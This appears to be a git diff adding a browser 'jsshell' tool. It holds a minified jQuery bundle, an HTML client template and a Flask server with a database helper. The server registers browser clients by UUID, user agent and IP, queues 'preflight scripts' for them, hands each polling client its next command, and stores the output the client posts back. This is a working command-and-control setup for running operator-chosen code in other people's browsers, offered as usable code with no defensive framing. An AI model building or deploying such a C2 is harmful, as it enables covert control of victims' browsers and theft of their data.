0}),b=(b||"").match(K)||[""],j=b.length;while(j--)h=ta.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=V.hasData(a)&&V.get(a);if(q&&(i=q.events)){b=(b||"").match(K)||[""],j=b.length;while(j--)if(h=ta.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&V.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(V.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c=1))for(;j!==this;j=j.parentNode||this)if(1===j.nodeType&&("click"!==a.type||j.disabled!==!0)){for(f=[],g={},c=0;c-1:r.find(e,this,null,[j]).length),g[e]&&f.push(d);f.length&&h.push({elem:j,handlers:f})}return j=this,i\x20\t\r\n\f]*)[^>]*)\/>/gi,za=/\s*$/g;function Da(a,b){return r.nodeName(a,"table")&&r.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a:a}function Ea(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function Fa(a){var b=Ba.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ga(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(V.hasData(a)&&(f=V.access(a),g=V.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c1&&"string"==typeof q&&!o.checkClone&&Aa.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ia(f,b,c,d)});if(m&&(e=pa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(ma(e,"script"),Ea),i=h.length;l")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=ma(h),f=ma(a),d=0,e=f.length;d0&&na(g,!i&&ma(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(T(c)){if(b=c[V.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[V.expando]=void 0}c[W.expando]&&(c[W.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ja(this,a,!0)},remove:function(a){return Ja(this,a)},text:function(a){return S(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ia(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Da(this,a);b.appendChild(a)}})},prepend:function(){return Ia(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Da(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ia(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ia(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(ma(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return S(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!za.test(a)&&!la[(ja.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c1)}});function Ya(a,b,c,d,e){return new Ya.prototype.init(a,b,c,d,e)}r.Tween=Ya,Ya.prototype={constructor:Ya,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||r.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(r.cssNumber[c]?"":"px")},cur:function(){var a=Ya.propHooks[this.prop];return a&&a.get?a.get(this):Ya.propHooks._default.get(this)},run:function(a){var b,c=Ya.propHooks[this.prop];return this.options.duration?this.pos=b=r.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):Ya.propHooks._default.set(this),this}},Ya.prototype.init.prototype=Ya.prototype,Ya.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=r.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){r.fx.step[a.prop]?r.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[r.cssProps[a.prop]]&&!r.cssHooks[a.prop]?a.elem[a.prop]=a.now:r.style(a.elem,a.prop,a.now+a.unit)}}},Ya.propHooks.scrollTop=Ya.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},r.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},r.fx=Ya.prototype.init,r.fx.step={};var Za,$a,_a=/^(?:toggle|show|hide)$/,ab=/queueHooks$/;function bb(){$a&&(a.requestAnimationFrame(bb),r.fx.tick())}function cb(){return a.setTimeout(function(){Za=void 0}),Za=r.now()}function db(a,b){var c,d=0,e={height:a};for(b=b?1:0;d<4;d+=2-b)c=ba[d],e["margin"+c]=e["padding"+c]=a;return b&&(e.opacity=e.width=a),e}function eb(a,b,c){for(var d,e=(hb.tweeners[b]||[]).concat(hb.tweeners["*"]),f=0,g=e.length;f1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?ib:void 0)), +void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b),null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&r.nodeName(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(K);if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),ib={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=jb[b]||r.find.attr;jb[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=jb[g],jb[g]=e,e=null!=c(a,b,d)?g:null,jb[g]=f),e}});var kb=/^(?:input|select|textarea|button)$/i,lb=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return S(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):kb.test(a.nodeName)||lb.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});function mb(a){var b=a.match(K)||[];return b.join(" ")}function nb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,nb(this)))});if("string"==typeof a&&a){b=a.match(K)||[];while(c=this[i++])if(e=nb(c),d=1===c.nodeType&&" "+mb(e)+" "){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=mb(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,nb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(K)||[];while(c=this[i++])if(e=nb(c),d=1===c.nodeType&&" "+mb(e)+" "){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=mb(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,nb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(K)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=nb(this),b&&V.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":V.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+mb(nb(c))+" ").indexOf(b)>-1)return!0;return!1}});var ob=/\r/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":r.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(ob,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:mb(r.text(a))}},select:{get:function(a){var b,c,d,e=a.options,f=a.selectedIndex,g="select-one"===a.type,h=g?null:[],i=g?f+1:e.length;for(d=f<0?i:g?f:0;d-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(r.isArray(b))return a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var pb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var g,h,i,j,k,m,n,o=[e||d],p=l.call(b,"type")?b.type:b,q=l.call(b,"namespace")?b.namespace.split("."):[];if(h=i=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!pb.test(p+r.event.triggered)&&(p.indexOf(".")>-1&&(q=p.split("."),p=q.shift(),q.sort()),k=p.indexOf(":")<0&&"on"+p,b=b[r.expando]?b:new r.Event(p,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=q.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f&&!n.noBubble&&!r.isWindow(e)){for(j=n.delegateType||p,pb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)&&o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])&&!b.isPropagationStopped())b.type=g>1?j:n.bindType||p,m=(V.get(h,"events")||{})[b.type]&&V.get(h,"handle"),m&&m.apply(h,c),m=k&&h[k],m&&m.apply&&T(h)&&(b.result=m.apply(h,c),b.result===!1&&b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default&&n._default.apply(o.pop(),c)!==!1||!T(e)||k&&r.isFunction(e[p])&&!r.isWindow(e)&&(i=e[k],i&&(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i&&(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(a,b){r.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin="onfocusin"in a,o.focusin||r.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=V.access(d,b);e||d.addEventListener(a,c,!0),V.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=V.access(d,b)-1;e?V.access(d,b,e):(d.removeEventListener(a,c,!0),V.remove(d,b))}}});var qb=a.location,rb=r.now(),sb=/\?/;r.parseXML=function(b){var c;if(!b||"string"!=typeof b)return null;try{c=(new a.DOMParser).parseFromString(b,"text/xml")}catch(d){c=void 0}return c&&!c.getElementsByTagName("parsererror").length||r.error("Invalid XML: "+b),c};var tb=/\[\]$/,ub=/\r?\n/g,vb=/^(?:submit|button|image|reset|file)$/i,wb=/^(?:input|select|textarea|keygen)/i;function xb(a,b,c,d){var e;if(r.isArray(b))r.each(b,function(b,e){c||tb.test(a)?d(a,e):xb(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==r.type(b))d(a,b);else for(e in b)xb(a+"["+e+"]",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(null==c?"":c)};if(r.isArray(a)||a.jquery&&!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)xb(c,a[c],b,e);return d.join("&")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,"elements");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!r(this).is(":disabled")&&wb.test(this.nodeName)&&!vb.test(a)&&(this.checked||!ia.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:r.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(ub,"\r\n")}}):{name:b.name,value:c.replace(ub,"\r\n")}}).get()}});var yb=/%20/g,zb=/#.*$/,Ab=/([?&])_=[^&]*/,Bb=/^(.*?):[ \t]*([^\r\n]*)$/gm,Cb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Db=/^(?:GET|HEAD)$/,Eb=/^\/\//,Fb={},Gb={},Hb="*/".concat("*"),Ib=d.createElement("a");Ib.href=qb.href;function Jb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(K)||[];if(r.isFunction(c))while(d=f[e++])"+"===d[0]?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Kb(a,b,c,d){var e={},f=a===Gb;function g(h){var i;return e[h]=!0,r.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Lb(a,b){var c,d,e=r.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]&&((e[c]?a:d||(d={}))[c]=b[c]);return d&&r.extend(!0,a,d),a}function Mb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===d&&(d=a.mimeType||b.getResponseHeader("Content-Type"));if(d)for(e in h)if(h[e]&&h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+" "+i[0]]){f=e;break}g||(g=e)}f=f||g}if(f)return f!==i[0]&&i.unshift(f),c[f]}function Nb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}r.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:qb.href,type:"GET",isLocal:Cb.test(qb.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Hb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":r.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Lb(Lb(a,r.ajaxSettings),b):Lb(r.ajaxSettings,a)},ajaxPrefilter:Jb(Fb),ajaxTransport:Jb(Gb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var e,f,g,h,i,j,k,l,m,n,o=r.ajaxSetup({},c),p=o.context||o,q=o.context&&(p.nodeType||p.jquery)?r(p):r.event,s=r.Deferred(),t=r.Callbacks("once memory"),u=o.statusCode||{},v={},w={},x="canceled",y={readyState:0,getResponseHeader:function(a){var b;if(k){if(!h){h={};while(b=Bb.exec(g))h[b[1].toLowerCase()]=b[2]}b=h[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return k?g:null},setRequestHeader:function(a,b){return null==k&&(a=w[a.toLowerCase()]=w[a.toLowerCase()]||a,v[a]=b),this},overrideMimeType:function(a){return null==k&&(o.mimeType=a),this},statusCode:function(a){var b;if(a)if(k)y.always(a[y.status]);else for(b in a)u[b]=[u[b],a[b]];return this},abort:function(a){var b=a||x;return e&&e.abort(b),A(0,b),this}};if(s.promise(y),o.url=((b||o.url||qb.href)+"").replace(Eb,qb.protocol+"//"),o.type=c.method||c.type||o.method||o.type,o.dataTypes=(o.dataType||"*").toLowerCase().match(K)||[""],null==o.crossDomain){j=d.createElement("a");try{j.href=o.url,j.href=j.href,o.crossDomain=Ib.protocol+"//"+Ib.host!=j.protocol+"//"+j.host}catch(z){o.crossDomain=!0}}if(o.data&&o.processData&&"string"!=typeof o.data&&(o.data=r.param(o.data,o.traditional)),Kb(Fb,o,c,y),k)return y;l=r.event&&o.global,l&&0===r.active++&&r.event.trigger("ajaxStart"),o.type=o.type.toUpperCase(),o.hasContent=!Db.test(o.type),f=o.url.replace(zb,""),o.hasContent?o.data&&o.processData&&0===(o.contentType||"").indexOf("application/x-www-form-urlencoded")&&(o.data=o.data.replace(yb,"+")):(n=o.url.slice(f.length),o.data&&(f+=(sb.test(f)?"&":"?")+o.data,delete o.data),o.cache===!1&&(f=f.replace(Ab,"$1"),n=(sb.test(f)?"&":"?")+"_="+rb++ +n),o.url=f+n),o.ifModified&&(r.lastModified[f]&&y.setRequestHeader("If-Modified-Since",r.lastModified[f]),r.etag[f]&&y.setRequestHeader("If-None-Match",r.etag[f])),(o.data&&o.hasContent&&o.contentType!==!1||c.contentType)&&y.setRequestHeader("Content-Type",o.contentType),y.setRequestHeader("Accept",o.dataTypes[0]&&o.accepts[o.dataTypes[0]]?o.accepts[o.dataTypes[0]]+("*"!==o.dataTypes[0]?", "+Hb+"; q=0.01":""):o.accepts["*"]);for(m in o.headers)y.setRequestHeader(m,o.headers[m]);if(o.beforeSend&&(o.beforeSend.call(p,y,o)===!1||k))return y.abort();if(x="abort",t.add(o.complete),y.done(o.success),y.fail(o.error),e=Kb(Gb,o,c,y)){if(y.readyState=1,l&&q.trigger("ajaxSend",[y,o]),k)return y;o.async&&o.timeout>0&&(i=a.setTimeout(function(){y.abort("timeout")},o.timeout));try{k=!1,e.send(v,A)}catch(z){if(k)throw z;A(-1,z)}}else A(-1,"No Transport");function A(b,c,d,h){var j,m,n,v,w,x=c;k||(k=!0,i&&a.clearTimeout(i),e=void 0,g=h||"",y.readyState=b>0?4:0,j=b>=200&&b<300||304===b,d&&(v=Mb(o,y,d)),v=Nb(o,v,y,j),j?(o.ifModified&&(w=y.getResponseHeader("Last-Modified"),w&&(r.lastModified[f]=w),w=y.getResponseHeader("etag"),w&&(r.etag[f]=w)),204===b||"HEAD"===o.type?x="nocontent":304===b?x="notmodified":(x=v.state,m=v.data,n=v.error,j=!n)):(n=x,!b&&x||(x="error",b<0&&(b=0))),y.status=b,y.statusText=(c||x)+"",j?s.resolveWith(p,[m,x,y]):s.rejectWith(p,[y,x,n]),y.statusCode(u),u=void 0,l&&q.trigger(j?"ajaxSuccess":"ajaxError",[y,o,j?m:n]),t.fireWith(p,[y,x]),l&&(q.trigger("ajaxComplete",[y,o]),--r.active||r.event.trigger("ajaxStop")))}return y},getJSON:function(a,b,c){return r.get(a,b,c,"json")},getScript:function(a,b){return r.get(a,void 0,b,"script")}}),r.each(["get","post"],function(a,b){r[b]=function(a,c,d,e){return r.isFunction(c)&&(e=e||d,d=c,c=void 0),r.ajax(r.extend({url:a,type:b,dataType:e,data:c,success:d},r.isPlainObject(a)&&a))}}),r._evalUrl=function(a){return r.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not("body").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},r.ajaxSettings.xhr=function(){try{return new a.XMLHttpRequest}catch(b){}};var Ob={0:200,1223:204},Pb=r.ajaxSettings.xhr();o.cors=!!Pb&&"withCredentials"in Pb,o.ajax=Pb=!!Pb,r.ajaxTransport(function(b){var c,d;if(o.cors||Pb&&!b.crossDomain)return{send:function(e,f){var g,h=b.xhr();if(h.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(g in b.xhrFields)h[g]=b.xhrFields[g];b.mimeType&&h.overrideMimeType&&h.overrideMimeType(b.mimeType),b.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest");for(g in e)h.setRequestHeader(g,e[g]);c=function(a){return function(){c&&(c=d=h.onload=h.onerror=h.onabort=h.onreadystatechange=null,"abort"===a?h.abort():"error"===a?"number"!=typeof h.status?f(0,"error"):f(h.status,h.statusText):f(Ob[h.status]||h.status,h.statusText,"text"!==(h.responseType||"text")||"string"!=typeof h.responseText?{binary:h.response}:{text:h.responseText},h.getAllResponseHeaders()))}},h.onload=c(),d=h.onerror=c("error"),void 0!==h.onabort?h.onabort=d:h.onreadystatechange=function(){4===h.readyState&&a.setTimeout(function(){c&&d()})},c=c("abort");try{h.send(b.hasContent&&b.data||null)}catch(i){if(c)throw i}},abort:function(){c&&c()}}}),r.ajaxPrefilter(function(a){a.crossDomain&&(a.contents.script=!1)}),r.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return r.globalEval(a),a}}}),r.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET")}),r.ajaxTransport("script",function(a){if(a.crossDomain){var b,c;return{send:function(e,f){b=r(" + + + + +var s = "jsshell_client"; + + + + + + + + + \ No newline at end of file diff --git a/app/views.py b/app/views.py new file mode 100644 index 0000000..156b2c9 --- /dev/null +++ b/app/views.py @@ -0,0 +1,69 @@ +from flask import url_for, redirect, render_template, request +from app import app, db +from .models import Client, Command +from .preflight_scripts import pf_scripts +import json + + +@app.route('/') +def index(): + return render_template('index.html') + + +@app.route('/register/', methods=['POST']) +def register(): + if request.method == 'POST': + client_id = request.form.get('uuid','') + user_agent = request.form.get('user_agent','') + ip = request.remote_addr + if client_id and user_agent and ip: + print("Register: ", client_id) + + c = Client(client_id, user_agent, ip) + db.session.add(c) + + # add pre flight scripts + c.add_commands(pf_scripts) + + db.session.commit() + + return 'Hello {}!'.format(client_id) + else: + return 'UUID is not present' + + +@app.route('/get_command//') +def get_command(client_uuid): + c = Client.query.filter_by(client_id=client_uuid).first() + + if not c: + return json.dumps({'error' : 'general error'}) + + c.update_beacon() + db.session.commit() + + for com in c.commands: + if not com.is_served: + com.is_served = True + db.session.commit() + return json.dumps({'success' : com.cmd, 'cmd_id' : com.id}) + + return json.dumps({'error' : 'no command available'}) + + +@app.route('/post_back/', methods=['POST']) +def post_back(): + if request.method == 'POST': + client_id = request.form.get('uuid', '') + cmd_id = request.form.get('cmd_id', '') + output = request.form.get('output', '') + + if client_id and cmd_id: + c = Command.query.filter_by(id=cmd_id).first() + if c: + c.output = output + c.is_returned = True + db.session.commit() + + return '200' + diff --git a/db_handler.py b/db_handler.py new file mode 100644 index 0000000..36e4aaa --- /dev/null +++ b/db_handler.py @@ -0,0 +1,110 @@ +from app import app, db +from app.models import Client, Command +import argparse +import uuid + +def sqltry(func): + def wrap(*args, **kwargs): + try: + func(*args, **kwargs) + except Exception as e: + print('Error occurred:', e) + return None + return wrap + + +@sqltry +def createTable(): + print('Creating table...') + db.create_all() + print('Done!') + + +@sqltry +def listRecords(): + print('Listing records...') + clients = Client.query.all() + + for c in clients: + print(c) + + +@sqltry +def insertRecord(_idDefault = str(uuid.uuid4()), userAgentDefault = 'Mozilla Testing/1.0', ipDefault = '127.0.0.1'): + print('Enter Values: ') + + _id = input('UUID: ') + if not _id: _id = _idDefault + + user_agent = input('User-Agent: ') + if not user_agent: user_agent = userAgentDefault + + ip = input('IP: ') + if not ip: ip = ipDefault + + c = Client(_id, user_agent, ip) + db.session.add(c) + db.session.commit() + + +@sqltry +def insertDummy(): + _id = str(uuid.uuid4()) + user_agent = 'Mozilla Testing/1.0' + ip = '127.0.0.1' + c = Client(_id, user_agent, ip) + db.session.add(c) + db.session.commit() + + +@sqltry +def dropTable(): + if input('Sure? [y/n]') == 'y': + db.drop_all() + print('Table dropped.') + else: + print('Bad choice. Bye!') + +@sqltry +def dropCreateList(): + dropTable() + createTable() + listRecords() + + +@sqltry +def truncateTable(): + Client.query.delete() + db.session.commit() + + +@sqltry +def createCommand(): + i = input('Enter Client ID: ') + c = Command('aaa','bbb') + u = Client.query.filter_by(id=int(i)).first() + u.commands.append(c) + db.session.add(c) + db.session.commit() + + +if __name__ == "__main__": + + actions = { + 'list' : listRecords, + 'create' : createTable, + 'insert' : insertRecord, + 'dummy' : insertDummy, + 'drop' 